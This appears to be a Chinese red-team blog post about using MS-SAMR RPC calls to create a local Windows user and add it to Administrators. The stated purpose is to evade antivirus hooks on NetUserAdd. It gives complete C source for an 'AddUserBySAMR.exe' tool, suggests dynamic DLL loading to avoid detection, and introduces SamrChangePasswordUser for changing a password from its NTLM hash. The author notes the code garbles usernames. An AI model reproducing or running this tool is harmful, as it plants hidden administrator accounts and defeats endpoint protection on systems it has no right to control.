0%

RPC_MS-SAMR

Add User

之前使用NetUserAddNetLocalGroupAddMember两个API去添加用户,杀软可能后面会hook这几个API,NetUserAdd这些API的更底层实现就是MS-SAMR,可以使用MS-SAMR协议中的SamrCreateUser2InDomain去添加用户,从而达到更好的规避防护的效果。

在mimikatz中提供了一个现成的 kull_m_samlib.h 里面已经定义了一下Samr的函数可以直接使用,只需要把SamrXXX替换为SamXXX即可使用。

在微软文档中的实例中给出了使用方法https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/3d8e23d8-d9df-481f-83b3-9175f980294c

在ReactOS中也有添加用户的代码可供参考https://doxygen.reactos.org/d2/d5b/dll_2win32_2netapi32_2user_8c.html#a97fe7ac7c930cecf5e075c75c75809ad

相关API

  • SamConnect
  • SamLookupDomainSamServer
  • SamOpenDomain
  • SamCreateUser2InDomain
  • SamSetInformationUser
1
2
3
4
5
6
7
8
9
10
// 添加用户
long SamrCreateUser2InDomain(
[in] SAMPR_HANDLE DomainHandle,
[in] PRPC_UNICODE_STRING Name,
[in] unsigned long AccountType,
[in] unsigned long DesiredAccess,
[out] SAMPR_HANDLE* UserHandle,
[out] unsigned long* GrantedAccess,
[out] unsigned long* RelativeId
);

SamCreateUser2InDomain添加用户默认为禁止状态 需要用SamSetInformationUser将UserAccountControl中清除标志位

1
2
3
4
5
6
7
8
9
10
11
userAllInfo.NtPasswordPresent = TRUE;
userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;

// Clear the UF_ACCOUNTDISABLE to enable account
userAllInfo.UserAccountControl &= 0xFFFFFFFE;
userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;
userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;
RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);

// Set password and userAccountControl
status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo);

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <stdio.h>
#include <Windows.h>
#include "samlib.h"

#pragma comment(lib, "samlib.lib")
#pragma comment(lib, "ntdll.lib")

void AddUser(wchar_t* uName, wchar_t* uPass)
{
DWORD* pRid;
DWORD* pUse;
DWORD USE = 0;
ULONG grantAccess;
ULONG relativeId;
DWORD* adminRID;
PSID userSID = NULL;
NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;
DWORD i, domainEnumerationContext = 0, domainCountReturned;
PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL;
PSID builtinDomainSid = 0, accountDomainSid = 0;
SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL;

SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 };

UNICODE_STRING userName;
UNICODE_STRING password;
UNICODE_STRING uBuiltin;
UNICODE_STRING serverName;

// init server, username, password
RtlInitUnicodeString(&uBuiltin, L"Builtin");
RtlInitUnicodeString(&userName, uName);
RtlInitUnicodeString(&password, uPass);
RtlInitUnicodeString(&serverName, L"localhost");

//Connect sam server
status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);

if (NT_SUCCESS(status))
{
do
{
enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned);
for (i = 0; i < domainCountReturned; i++)
{
// Get Builtin Domain SID & Account Domain SID
if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid);
else
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid);
}

} while (enumDomainStatus == STATUS_MORE_ENTRIES);

status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle);
if (NT_SUCCESS(status))
{
// Create user in Account Domain
status = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId);
if (NT_SUCCESS(status))
{
// SamCreateUser2InDomain添加用户默认是禁止状态 需要调用SamSetInformationUser将userAccountContorl中清除禁用标志位
wprintf(L"[*] SamCreateUser2InDomain success. User RID: %d\n", relativeId);
userAllInfo.NtPasswordPresent = TRUE;
userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;

// Clear the UF_ACCOUNTDISABLE to enable account
userAllInfo.UserAccountControl &= 0xFFFFFFFE;
userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;
userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;
RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);

// Set password and userAccountControl
status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo);
if (NT_SUCCESS(status))
{
wprintf(L"[*] SamSetInformationUser success.\n");
}
else wprintf(L"[!] SamSetInformationUser error 0x%08X\n", status);

}
else wprintf(L"[!] SamCreateUser2InDomain error 0x%08X\n", status);

}
else wprintf(L"[!] SamOpenDomain error. 0x%0X8\n", status);

}
else wprintf(L"[!] Samconnect error\n");

SamCloseHandle(hUserHandle);
SamCloseHandle(hDomainHandle);
SamCloseHandle(hServerHandle);
SamFreeMemory(pEnumDomainBuffer);
SamFreeMemory(pEnumGroupBuffer);

}

int wmain(int argc, wchar_t* argv[])
{
if (argc == 3)
{
AddUser(argv[1], argv[2]);
}
else wprintf(L"Usage: AddUserBySAMR.exe <username> <password>");


return 0;
}

在添加用户后 添加的用户为乱码 (在英文下也会是乱码) .. 忘记要改成unicode编码了。。。

以上代码主要是实现了通过SamCreateUser2InDomain去添加用户 还可以通过SamrAddMemberToAlias将用户添加到组中

1
2
3
4
long SamrAddMemberToAlias(
[in] SAMPR_HANDLE AliasHandle,
[in] PRPC_SID MemberId
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <stdio.h>
#include <Windows.h>
#include "samlib.h"

#pragma comment(lib, "samlib.lib")
#pragma comment(lib, "ntdll.lib")

void AddUser(wchar_t* uName, wchar_t* uPass)
{
DWORD* pRid;
DWORD* pUse;
DWORD USE = 0;
ULONG grantAccess;
ULONG relativeId;
DWORD* adminRID;
PSID userSID = NULL;
NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;
DWORD i, domainEnumerationContext = 0, domainCountReturned;
PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL;
PSID builtinDomainSid = 0, accountDomainSid = 0;
SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL;

SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 };

NTSTATUS enumGroupStatus;
DWORD groupEnumerationContext = 0;
DWORD groupCountReturned;
UNICODE_STRING adminGroup;
SAMPR_HANDLE hAdminGroup;

UNICODE_STRING userName;
UNICODE_STRING password;
UNICODE_STRING uBuiltin;
UNICODE_STRING serverName;

// init server, username, password
RtlInitUnicodeString(&uBuiltin, L"Builtin");
RtlInitUnicodeString(&userName, uName);
RtlInitUnicodeString(&password, uPass);
RtlInitUnicodeString(&serverName, L"localhost");

//Connect sam server
status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);

if (NT_SUCCESS(status))
{
do
{
enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned);
for (i = 0; i < domainCountReturned; i++)
{
// Get Builtin Domain SID & Account Domain SID
if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid);
else
SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid);
}

} while (enumDomainStatus == STATUS_MORE_ENTRIES);

status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle);
// 1.Create user in Account Domain
if (NT_SUCCESS(status))
{
// Create user in Account Domain
status = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId);
if (NT_SUCCESS(status))
{
// SamCreateUser2InDomain添加用户默认是禁止状态
// 需要调用SamSetInformationUser将userAccountContorl中清除禁用标志位
wprintf(L"[*] SamCreateUser2InDomain success. User RID: %d\n", relativeId);
userAllInfo.NtPasswordPresent = TRUE;
userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;

// Clear the UF_ACCOUNTDISABLE to enable account
userAllInfo.UserAccountControl &= 0xFFFFFFFE;
userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;
userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;
RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);

// Set User Information: password and userAccountControl
status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo);
if (NT_SUCCESS(status))
{
wprintf(L"[*] SamSetInformationUser success.\n");
}
else wprintf(L"[!] SamSetInformationUser error 0x%08X\n", status);
}
else wprintf(L"[!] SamCreateUser2InDomain error 0x%08X\n", status);

}
else wprintf(L"[!] SamOpenDomain error. 0x%0X8\n", status);

//2.Add user to localgroup adminstrators
status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, builtinDomainSid, &hDomainHandle);
if (NT_SUCCESS(status))
{
RtlInitUnicodeString(&adminGroup, L"administrators");
// Lookup Administrators in Builtin Domain
status = SamLookupNamesInDomain(hDomainHandle, 1, &adminGroup, &adminRID, &USE);
if (NT_SUCCESS(status))
{
status = SamOpenAlias(hDomainHandle, ALIAS_ADD_MEMBER, *adminRID, &hAdminGroup);
if (NT_SUCCESS(status))
{
SamRidToSid(hUserHandle, relativeId, &userSID);
// Add user to Administrators
status = SamAddMemberToAlias(hAdminGroup, userSID);
if (NT_SUCCESS(status))
{
wprintf(L"[*] SamAddMemberToAlias success.\n");
}
else wprintf(L"[!] AddMemberToAlias error 0x%08X\n", status);
}
else wprintf(L"[!] SamOpenAlias error 0x%08X\n", status);
}
else wprintf(L"[!] SamLookupNamesInDomain error 0x%08X\n", status);
}
}
else wprintf(L"[!] Samconnect error\n");

SamCloseHandle(hUserHandle);
SamCloseHandle(hDomainHandle);
SamCloseHandle(hServerHandle);
SamFreeMemory(pEnumDomainBuffer);
SamFreeMemory(pEnumGroupBuffer);

}

int wmain(int argc, wchar_t* argv[])
{
if (argc == 3)
{
AddUser(argv[1], argv[2]);
}
else wprintf(L"Usage: AddUserBySAMR.exe <username> <password>");

return 0;
}

以上代码由于是静态加载dll,很容易被杀软识别到,可以使用动态加载dll

Change Ntlm

MS-SAMR中SamrChangePasswordUser 可以修改用户的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
long SamrChangePasswordUser(
[in] SAMPR_HANDLE UserHandle,
[in] unsigned char LmPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD OldLmEncryptedWithNewLm,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithOldLm,
[in] unsigned char NtPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD OldNtEncryptedWithNewNt,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithOldNt,
[in] unsigned char NtCrossEncryptionPresent,
[in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithNewLm,
[in] unsigned char LmCrossEncryptionPresent,
[in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithNewNt
);

References

https://idiotc4t.com/redteam-research/netuseradd-ni-xiang

https://mp.weixin.qq.com/s/ByW_tsipzLGKa9mUBImCqA

https://doxygen.reactos.org/d2/d5b/dll_2win32_2netapi32_2user_8c.html#a97fe7ac7c930cecf5e075c75c75809ad

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/3d8e23d8-d9df-481f-83b3-9175f980294c

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------